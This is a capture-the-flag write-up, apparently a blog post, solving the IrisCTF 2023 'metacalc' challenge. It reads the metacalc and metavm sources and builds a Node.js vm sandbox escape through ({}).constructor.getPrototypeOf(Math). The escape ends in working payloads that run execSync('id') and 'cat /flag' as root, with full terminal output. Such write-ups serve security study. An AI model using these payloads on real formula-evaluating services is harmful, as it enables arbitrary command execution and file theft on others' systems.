IrisCTF 2023-web-metacalc

yoobi·2023년 1월 26일
0

Keywords

  • find attack vector to escape the executable codes
  • understanding of Sandbox Escaping the VM module in NodeJS
  • understanding of make own constructor using ({}).constructor.getPrototypeOf()

Given info

  • metacalc.zip was given
  • It provide app.js, Dockerfile, sheet.patch
//app.js
const { Sheet } = require('metacalc');
const readline = require('readline');

const rl = readline.createInterface({ input: process.stdin, output: process.stdout });
const sheet = new Sheet();

rl.question('I will add 1 to your input?? ', input => {
    sheet.cells["A1"] = 1;
    sheet.cells["A2"] = input;
    sheet.cells["A3"] = "=A1+A2";
    console.log(sheet.values["A3"]); // 1+2 -> 12sheeet()
    process.exit(0);
});
  • According to the author's comments, We can know that thisis NodeJS service, and target behavior is sandbox escaping.
//Dockerfile
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
FROM node:18
ENV NODE_ENV=production

RUN /usr/sbin/useradd --no-create-home -u 1337 user

COPY flag /
WORKDIR /home/user
RUN npm install --production metacalc
COPY app.js /home/user/
COPY sheet.patch /home/user/sheet.patch
RUN patch node_modules/metacalc/lib/sheet.js < sheet.patch

#CMD ["node", "/home/user/app.js"]
  • Dockerfile patch the sheet.js file using sheet.patch
//sheet.patch
--- sheet.o.js	2022-08-11 17:32:27.803553441 -0700
+++ sheet.js	2022-08-11 17:38:51.821472938 -0700
@@ -7,13 +7,16 @@
   new Proxy(target, {
     get: (target, prop) => {
       if (prop === 'constructor') return null;
+      if (prop === '__proto__') return null;
       const value = target[prop];
       if (typeof value === 'number') return value;
       return wrap(value);
     },
   });
 
-const math = wrap(Math);
+// Math has too much of an attack surface :(
+const SlightlyLessUsefulMath = new Object();
+const math = wrap(SlightlyLessUsefulMath);
 
 const getValue = (target, prop) => {
   if (prop === 'Math') return math;
  • here we can see that the author say "Math has too much of an attack surface"

flow

  • This chall was very difficult for me, because i could not figure out any attack idea during reading the given info
  1. We should find the attack vector, our input value will set at sheets.cells["A2"] according to the app.js

Try to escape the executable code

  • using the Dockerfile, i tried to find the escape vulnerability
  • Thus, i printed out the value and analyzed it
  • The targets were
./node_modules/metacalc/lib/sheet.js
./node_modules/metavm/metavm.js
  • We can see that using setCell to make some script at sheet.js
//sheet.js
'use strict';
...
const setCell = (target, prop, value) => {
  if (typeof value === 'string' && value[0] === '=') {
    console.log("[] value : "+value);
    const src = '() => ' + value.substring(1);
    const options = { context: target.context };
    console.log("[] prop : "+prop);
    console.log("[] src : "+src);
    console.log("[] options : "+options);
    const script = metavm.createScript(prop, src, options);
    console.log("[] script : "+JSON.stringify(script));
    target.expressions.set(prop, script.exports);
  } else {
    target.data.set(prop, value);
  }
  return true;
};
...
  • going to find creatScript() function
//metavm.js
...
const createScript = (name, src, options) => new MetaScript(name, src, options);
...
  • and going to find MetaScript() class again
//metavm.js
...
class MetaScript {
  constructor(name, src, options = {}) {
    this.name = name;
    this.dirname = options.dirname || process.cwd();
    this.relative = options.relative || '.';
    this.type = options.type || MODULE_TYPE.METARHIA;
    this.access = options.access || {};
    const common = this.type === MODULE_TYPE.COMMONJS;
    const strict = useStrict(src);
    const code = common ? wrapSource(src) : `{\n${src}\n}`;
    const lineOffset = strict === '' ? 0 : -1;
    const scriptOptions = { filename: name, ...options, lineOffset };
    console.log("[] strict : "+strict);
    console.log("[] code : "+code);
    console.log("[] strict + code : "+strict+code);
    console.log("[] scriptOptions : "+JSON.stringify(scriptOptions));
    this.script = new vm.Script(strict + code, scriptOptions);
    console.log("[] this.script : "+JSON.stringify(this.script));
    this.context = options.context || createContext();
    const runOptions = { ...RUN_OPTIONS, ...options };
    console.log("[] runOptions : "+JSON.stringify(runOptions));
    console.log("[] this.context : "+JSON.stringify(this.context));
    const exports = this.script.runInContext(this.context, runOptions);
    this.exports = common ? this.commonExports(exports) : exports;
  }
...
  • and this is the result of those console.log
root@24f371c679bd:/home/user# node app.js
I will add 1 to your input?? 1
[] value : =A1+A2
[] prop : A3
[] src : () => A1+A2
[] options : [object Object]
[] strict : 'use strict';

[] code : {
() => A1+A2
}
[] strict + code : 'use strict';
{
() => A1+A2
}
[] scriptOptions : {"filename":"A3","context":{},"lineOffset":-1}
[] this.script : {}
[] runOptions : {"timeout":1000,"context":{}}
[] this.context : {}
[] script : {"name":"A3","dirname":"/home/user","relative":".","type":1,"access":{},"script":{},"context":{}}
11
  • We can see that strict + code is
'use strict';
{
	() => A1+A2
}
  • ths src is made by our input value
//sheet.js
...
const src = '() => ' + value.substring(1);
...
  • And value[0] === '=' value[0] should be '='
  • if you give only '=!test!' as a input, you can occur the errors
root@24f371c679bd:/home/user# node app.js
I will add 1 to your input?? =!test!
[] value : =!test!
[] prop : A2
[] src : () => !test!
[] options : [object Object]
[] strict : 'use strict';

[] code : {
() => !test!
}
[] strict + code : 'use strict';
{
() => !test!
}
[] scriptOptions : {"filename":"A2","context":{},"lineOffset":-1}
A2:2
() => !test!
           ^

SyntaxError: Unexpected token '!'
    at new Script (node:vm:100:7)
    at new MetaScript (/home/user/node_modules/metavm/metavm.js:82:19)
    at Object.createScript (/home/user/node_modules/metavm/metavm.js:149:46)
    at Object.setCell [as set] (/home/user/node_modules/metacalc/lib/sheet.js:43:27)
    at /home/user/app.js:9:23
    at [_onLine] [as _onLine] (node:internal/readline/interface:420:7)
    at [_line] [as _line] (node:internal/readline/interface:892:18)
    at [_ttyWrite] [as _ttyWrite] (node:internal/readline/interface:1270:22)
    at ReadStream.onkeypress (node:internal/readline/interface:270:20)
    at ReadStream.emit (node:events:513:28)

Node.js v18.13.0
  • SyntaxError: Unexpected token '!' means that we can inject some malicious source code using it
  • Then, i tried to execute something directly using process.mainModule.require('child_process').execSync('touch /tmp/pwned'); but, failed
  • This code will execute by vm.Script() thus, we can not using process, mainModule, etc. directly.
  • Here we can know that we should do "Sandbox Escaping"
  • This is the reason why the author told us library using some custom sandboxing so tried it out.

Sandbox Escaping the VM module in NodeJS

  • I read the writeups but, i could understand well. Thus, I google about VM sandbox escaping
  • Then, i could find some example about the escaping.
const vm = require('vm');
code = 'var x = this.constructor';
let context = {y : 1}
vm.runInNewContext(code,context);
console.log(context.x); // function Object() { [native code] }
  • So, i tried to using this.constructor. But, there was nothing
root@24f371c679bd:/home/user# node app.js
I will add 1 to your input?? =this.constructor
[] value : =this.constructor
[] prop : A2
[] src : () => this.constructor
[] options : [object Object]
[] strict : 'use strict';

[] code : {
() => this.constructor
}
[] strict + code : 'use strict';
{
() => this.constructor
}
[] scriptOptions : {"filename":"A2","context":{},"lineOffset":-1}
[] this.script : {}
[] runOptions : {"timeout":1000,"context":{}}
[] this.context : {}
[] script : {"name":"A2","dirname":"/home/user","relative":".","type":1,"access":{},"script":{},"context":{}}
[] value : =A1+A2
[] prop : A3
[] src : () => A1+A2
[] options : [object Object]
[] strict : 'use strict';

[] code : {
() => A1+A2
}
[] strict + code : 'use strict';
{
() => A1+A2
}
[] scriptOptions : {"filename":"A3","context":{},"lineOffset":-1}
[] this.script : {}
[] runOptions : {"timeout":1000,"context":{}}
[] this.context : {}
[] script : {"name":"A3","dirname":"/home/user","relative":".","type":1,"access":{},"script":{},"context":{}}
undefined
NaN
  • Here is the point, If we dont have usable contructor we can make like ({}).constructor.getPrototypeOf(Math)
example : this.constructor
payload : ({}).constructor.getPrototypeOf(Math).constructor
  • Now we can do sandbox escape
example : this.constructor.constructor("return this")()
payload : ({}).constructor.getPrototypeOf(Math).constructor.constructor("return this")()
root@24f371c679bd:/home/user# node app.js
I will add 1 to your input?? =({}).constructor.getPrototypeOf(Math).constructor.constructor("return this")()
[] value : =({}).constructor.getPrototypeOf(Math).constructor.constructor("return this")()
[] prop : A2
[] src : () => ({}).constructor.getPrototypeOf(Math).constructor.constructor("return this")()
[] options : [object Object]
[] strict : 'use strict';

[] code : {
() => ({}).constructor.getPrototypeOf(Math).constructor.constructor("return this")()
}
[] strict + code : 'use strict';
{
() => ({}).constructor.getPrototypeOf(Math).constructor.constructor("return this")()
}
[] scriptOptions : {"filename":"A2","context":{},"lineOffset":-1}
[] this.script : {}
[] runOptions : {"timeout":1000,"context":{}}
[] this.context : {}
[] script : {"name":"A2","dirname":"/home/user","relative":".","type":1,"access":{},"script":{},"context":{}}
[] value : =A1+A2
[] prop : A3
[] src : () => A1+A2
[] options : [object Object]
[] strict : 'use strict';

[] code : {
() => A1+A2
}
[] strict + code : 'use strict';
{
() => A1+A2
}
[] scriptOptions : {"filename":"A3","context":{},"lineOffset":-1}
[] this.script : {}
[] runOptions : {"timeout":1000,"context":{}}
[] this.context : {}
[] script : {"name":"A3","dirname":"/home/user","relative":".","type":1,"access":{},"script":{},"context":{}}
<ref *1> Object [global] {
  global: [Circular *1],
  queueMicrotask: [Function: queueMicrotask],
  clearImmediate: [Function: clearImmediate],
  setImmediate: [Function: setImmediate] {
    [Symbol(nodejs.util.promisify.custom)]: [Getter]
  },
  structuredClone: [Function: structuredClone],
  clearInterval: [Function: clearInterval],
  clearTimeout: [Function: clearTimeout],
  setInterval: [Function: setInterval],
  setTimeout: [Function: setTimeout] {
    [Symbol(nodejs.util.promisify.custom)]: [Getter]
  },
  atob: [Function: atob],
  btoa: [Function: btoa],
  performance: Performance {
    nodeTiming: PerformanceNodeTiming {
      name: 'node',
      entryType: 'node',
      startTime: 0,
      duration: 1792.7723640017211,
      nodeStart: 1.8077990002930164,
      v8Start: 3.740175001323223,
      bootstrapComplete: 16.005752000957727,
      environment: 8.826437000185251,
      loopStart: 23.45829899981618,
      loopExit: -1,
      idleTime: 1757.363889
    },
    timeOrigin: 1674722820484.222
  },
  fetch: [AsyncFunction: fetch]
}
1[object global]
  • We can use process now, and the exit() example also working
example : this.constructor.constructor("return process")()
payload : ({}).constructor.getPrototypeOf(Math).constructor.constructor("return process")()
root@24f371c679bd:/home/user# node app.js
I will add 1 to your input?? =({}).constructor.getPrototypeOf(Math).constructor.constructor("return process")()
[] value : =({}).constructor.getPrototypeOf(Math).constructor.constructor("return process")()
[] prop : A2
[] src : () => ({}).constructor.getPrototypeOf(Math).constructor.constructor("return process")()
[] options : [object Object]
[] strict : 'use strict';

[] code : {
() => ({}).constructor.getPrototypeOf(Math).constructor.constructor("return process")()
}
[] strict + code : 'use strict';
{
() => ({}).constructor.getPrototypeOf(Math).constructor.constructor("return process")()
}
[] scriptOptions : {"filename":"A2","context":{},"lineOffset":-1}
[] this.script : {}
[] runOptions : {"timeout":1000,"context":{}}
[] this.context : {}
[] script : {"name":"A2","dirname":"/home/user","relative":".","type":1,"access":{},"script":{},"context":{}}
[] value : =A1+A2
[] prop : A3
[] src : () => A1+A2
[] options : [object Object]
[] strict : 'use strict';

[] code : {
() => A1+A2
}
[] strict + code : 'use strict';
{
() => A1+A2
}
[] scriptOptions : {"filename":"A3","context":{},"lineOffset":-1}
[] this.script : {}
[] runOptions : {"timeout":1000,"context":{}}
[] this.context : {}
[] script : {"name":"A3","dirname":"/home/user","relative":".","type":1,"access":{},"script":{},"context":{}}
process {
  version: 'v18.13.0',
  versions: {
    node: '18.13.0',
    v8: '10.2.154.23-node.21',
    uv: '1.44.2',
    zlib: '1.2.13',
    brotli: '1.0.9',
    ares: '1.18.1',
    modules: '108',
    nghttp2: '1.51.0',
    napi: '8',
    llhttp: '6.0.10',
    uvwasi: '0.0.13',
    openssl: '3.0.7+quic',
    cldr: '42.0',
    icu: '72.1',
    tz: '2022f',
    unicode: '15.0',
    ngtcp2: '0.8.1',
    nghttp3: '0.7.0'
  },
  arch: 'x64',
  platform: 'linux',
  release: {
    name: 'node',
    lts: 'Hydrogen',
    sourceUrl: 'https://nodejs.org/download/release/v18.13.0/node-v18.13.0.tar.gz',
    headersUrl: 'https://nodejs.org/download/release/v18.13.0/node-v18.13.0-headers.tar.gz'
  },
  _rawDebug: [Function: _rawDebug],
  moduleLoadList: [
    'Internal Binding builtins',
    'Internal Binding errors',
    'Internal Binding util',
    'NativeModule internal/errors',
    'Internal Binding config',
    'Internal Binding timers',
    'Internal Binding async_wrap',
    'Internal Binding constants',
    'Internal Binding types',
    'NativeModule internal/util',
    'NativeModule internal/util/types',
    'NativeModule internal/validators',
    'NativeModule internal/promise_hooks',
    'Internal Binding task_queue',
    'Internal Binding symbols',
    'NativeModule internal/async_hooks',
    'NativeModule internal/linkedlist',
    'NativeModule internal/priority_queue',
    'NativeModule internal/assert',
    'Internal Binding icu',
    'NativeModule internal/util/inspect',
    'NativeModule internal/util/debuglog',
    'NativeModule internal/timers',
    'NativeModule events',
    'Internal Binding buffer',
    'Internal Binding string_decoder',
    'NativeModule internal/buffer',
    'Internal Binding blob',
    'NativeModule internal/encoding',
    'Internal Binding messaging',
    'NativeModule internal/worker/js_transferable',
    'NativeModule internal/constants',
    'NativeModule internal/blob',
    'NativeModule internal/file',
    'NativeModule buffer',
    'NativeModule internal/modules/esm/handle_process_exit',
    'Internal Binding process_methods',
    'NativeModule internal/process/per_thread',
    'Internal Binding credentials',
    'NativeModule internal/process/promises',
    'NativeModule internal/fixed_queue',
    'NativeModule async_hooks',
    'NativeModule internal/process/task_queues',
    'Internal Binding worker',
    'NativeModule internal/util/parse_args/utils',
    'NativeModule internal/util/parse_args/parse_args',
    'NativeModule internal/mime',
    'NativeModule util',
    'Internal Binding performance',
    'NativeModule internal/perf/utils',
    'NativeModule internal/event_target',
    'NativeModule timers',
    'NativeModule internal/abort_controller',
    'NativeModule internal/streams/utils',
    'NativeModule internal/streams/end-of-stream',
    'NativeModule internal/streams/destroy',
    'NativeModule internal/streams/legacy',
    'NativeModule internal/streams/add-abort-signal',
    'NativeModule internal/streams/buffer_list',
    'NativeModule internal/streams/state',
    'NativeModule string_decoder',
    'NativeModule internal/streams/from',
    'NativeModule internal/streams/readable',
    'NativeModule internal/streams/writable',
    'NativeModule internal/streams/duplex',
    'NativeModule internal/streams/pipeline',
    'NativeModule internal/streams/compose',
    'NativeModule internal/streams/operators',
    'NativeModule stream/promises',
    'NativeModule internal/streams/transform',
    'NativeModule internal/streams/passthrough',
    'NativeModule stream',
    'NativeModule internal/worker/io',
    'NativeModule internal/structured_clone',
    'Internal Binding trace_events',
    'NativeModule path',
    'NativeModule internal/process/execution',
    'NativeModule internal/process/warning',
    'Internal Binding fs',
    'NativeModule internal/querystring',
    'NativeModule querystring',
    'Internal Binding url',
    'NativeModule internal/url',
    'NativeModule internal/fs/utils',
    'Internal Binding fs_dir',
    'NativeModule internal/fs/dir',
    'Internal Binding fs_event_wrap',
    'Internal Binding uv',
    'NativeModule internal/fs/watchers',
    'NativeModule internal/fs/read_file_context',
    'NativeModule fs',
    'Internal Binding serdes',
    'Internal Binding mksnapshot',
    'NativeModule internal/v8/startup_snapshot',
    'Internal Binding profiler',
    'Internal Binding heap_utils',
    'Internal Binding stream_wrap',
    'NativeModule internal/stream_base_commons',
    'NativeModule internal/heap_utils',
    'Internal Binding options',
    ... 100 more items
  ],
  binding: [Function: binding],
  _linkedBinding: [Function: _linkedBinding],
  _events: [Object: null prototype] {
    newListener: [Function: startListeningIfSignal],
    removeListener: [Function: stopListeningIfSignal],
    warning: [Function: onWarning],
    SIGWINCH: [Function: refreshStdoutOnSigWinch]
  },
  _eventsCount: 4,
  _maxListeners: undefined,
  domain: null,
  _exiting: [Getter/Setter],
  config: [Getter/Setter],
  dlopen: [Function: dlopen],
  uptime: [Function: uptime],
  _getActiveRequests: [Function: _getActiveRequests],
  _getActiveHandles: [Function: _getActiveHandles],
  getActiveResourcesInfo: [Function (anonymous)],
  reallyExit: [Function: reallyExit],
  _kill: [Function: _kill],
  cpuUsage: [Function: cpuUsage],
  resourceUsage: [Function: resourceUsage],
  memoryUsage: [Function: memoryUsage] { rss: [Function: rss] },
  kill: [Function: kill],
  exit: [Function: exit],
  hrtime: [Function: hrtime] { bigint: [Function: hrtimeBigInt] },
  openStdin: [Function (anonymous)],
  getuid: [Function: getuid],
  geteuid: [Function: geteuid],
  getgid: [Function: getgid],
  getegid: [Function: getegid],
  getgroups: [Function: getgroups],
  allowedNodeEnvironmentFlags: [Getter/Setter],
  assert: [Function: deprecated],
  features: {
    inspector: true,
    debug: false,
    uv: true,
    ipv6: true,
    tls_alpn: true,
    tls_sni: true,
    tls_ocsp: true,
    tls: true,
    cached_builtins: [Getter]
  },
  _fatalException: [Function (anonymous)],
  setUncaughtExceptionCaptureCallback: [Function: setUncaughtExceptionCaptureCallback],
  hasUncaughtExceptionCaptureCallback: [Function: hasUncaughtExceptionCaptureCallback],
  emitWarning: [Function: emitWarning],
  nextTick: [Function: nextTick],
  _tickCallback: [Function: runNextTicks],
  _debugProcess: [Function: _debugProcess],
  _debugEnd: [Function: _debugEnd],
  _startProfilerIdleNotifier: [Function (anonymous)],
  _stopProfilerIdleNotifier: [Function (anonymous)],
  stdout: [Getter],
  stdin: [Getter],
  stderr: [Getter],
  abort: [Function: abort],
  umask: [Function: wrappedUmask],
  chdir: [Function: wrappedChdir],
  cwd: [Function: wrappedCwd],
  initgroups: [Function: initgroups],
  setgroups: [Function: setgroups],
  setegid: [Function (anonymous)],
  seteuid: [Function (anonymous)],
  setgid: [Function (anonymous)],
  setuid: [Function (anonymous)],
  env: {
    HOSTNAME: '24f371c679bd',
    YARN_VERSION: '1.22.19',
    PWD: '/home/user',
    NODE_ENV: 'production',
    HOME: '/root',
    TERM: 'xterm',
    SHLVL: '1',
    PATH: '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin',
    NODE_VERSION: '18.13.0',
    _: '/usr/local/bin/node'
  },
  title: 'node',
  argv: [ '/usr/local/bin/node', '/home/user/app.js' ],
  execArgv: [],
  pid: 3318,
  ppid: 1,
  execPath: '/usr/local/bin/node',
  debugPort: 9229,
  argv0: 'node',
  exitCode: undefined,
  _preload_modules: [],
  report: [Getter],
  setSourceMapsEnabled: [Function: setSourceMapsEnabled],
  mainModule: Module {
    id: '.',
    path: '/home/user',
    exports: {},
    filename: '/home/user/app.js',
    loaded: true,
    children: [ [Module] ],
    paths: [
      '/home/user/node_modules',
      '/home/node_modules',
      '/node_modules'
    ]
  },
  [Symbol(kCapture)]: false
}
1[object process]

Get FLAG

  • Try the Command Injection example
example : this.constructor.constructor("return process.mainModule.require('child_process').execSync('id')")()
payload : ({}).constructor.getPrototypeOf(Math).constructor.constructor("return process.mainModule.require('child_process').execSync('id')")()
root@24f371c679bd:/home/user# node app.js
I will add 1 to your input?? =({}).constructor.getPrototypeOf(Math).constructor.constructor("return process.mainModule.require('child_process').execSync('id')")()
[] value : =({}).constructor.getPrototypeOf(Math).constructor.constructor("return process.mainModule.require('child_process').execSync('id')")()
[] prop : A2
[] src : () => ({}).constructor.getPrototypeOf(Math).constructor.constructor("return process.mainModule.require('child_process').execSync('id')")()
[] options : [object Object]
[] strict : 'use strict';

[] code : {
() => ({}).constructor.getPrototypeOf(Math).constructor.constructor("return process.mainModule.require('child_process').execSync('id')")()
}
[] strict + code : 'use strict';
{
() => ({}).constructor.getPrototypeOf(Math).constructor.constructor("return process.mainModule.require('child_process').execSync('id')")()
}
[] scriptOptions : {"filename":"A2","context":{},"lineOffset":-1}
[] this.script : {}
[] runOptions : {"timeout":1000,"context":{}}
[] this.context : {}
[] script : {"name":"A2","dirname":"/home/user","relative":".","type":1,"access":{},"script":{},"context":{}}
[] value : =A1+A2
[] prop : A3
[] src : () => A1+A2
[] options : [object Object]
[] strict : 'use strict';

[] code : {
() => A1+A2
}
[] strict + code : 'use strict';
{
() => A1+A2
}
[] scriptOptions : {"filename":"A3","context":{},"lineOffset":-1}
[] this.script : {}
[] runOptions : {"timeout":1000,"context":{}}
[] this.context : {}
[] script : {"name":"A3","dirname":"/home/user","relative":".","type":1,"access":{},"script":{},"context":{}}
<Buffer 75 69 64 3d 30 28 72 6f 6f 74 29 20 67 69 64 3d 30 28 72 6f 6f 74 29 20 67 72 6f 75 70 73 3d 30 28 72 6f 6f 74 29 0a>
1uid=0(root) gid=0(root) groups=0(root)
  • Then, we can get the FLAG
example : this.constructor.constructor("return process.mainModule.require('child_process').execSync('cat /flag')")()
payload : ({}).constructor.getPrototypeOf(Math).constructor.constructor("return process.mainModule.require('child_process').execSync('cat /flag')")()
root@24f371c679bd:/home/user# node app.js
I will add 1 to your input?? =({}).constructor.getPrototypeOf(Math).constructor.constructor("return process.mainModule.require('child_process').execSync('cat /flag')")()
[] value : =({}).constructor.getPrototypeOf(Math).constructor.constructor("return process.mainModule.require('child_process').execSync('cat /flag')")()
[] prop : A2
[] src : () => ({}).constructor.getPrototypeOf(Math).constructor.constructor("return process.mainModule.require('child_process').execSync('cat /flag')")()
[] options : [object Object]
[] strict : 'use strict';

[] code : {
() => ({}).constructor.getPrototypeOf(Math).constructor.constructor("return process.mainModule.require('child_process').execSync('cat /flag')")()
}
[] strict + code : 'use strict';
{
() => ({}).constructor.getPrototypeOf(Math).constructor.constructor("return process.mainModule.require('child_process').execSync('cat /flag')")()
}
[] scriptOptions : {"filename":"A2","context":{},"lineOffset":-1}
[] this.script : {}
[] runOptions : {"timeout":1000,"context":{}}
[] this.context : {}
[] script : {"name":"A2","dirname":"/home/user","relative":".","type":1,"access":{},"script":{},"context":{}}
[] value : =A1+A2
[] prop : A3
[] src : () => A1+A2
[] options : [object Object]
[] strict : 'use strict';

[] code : {
() => A1+A2
}
[] strict + code : 'use strict';
{
() => A1+A2
}
[] scriptOptions : {"filename":"A3","context":{},"lineOffset":-1}
[] this.script : {}
[] runOptions : {"timeout":1000,"context":{}}
[] this.context : {}
[] script : {"name":"A3","dirname":"/home/user","relative":".","type":1,"access":{},"script":{},"context":{}}
<Buffer 46 4c 41 47 7b 46 41 4b 45 46 41 4b 45 7d>
1FLAG{FAKEFAKE}
profile
this is yoobi

0개의 댓글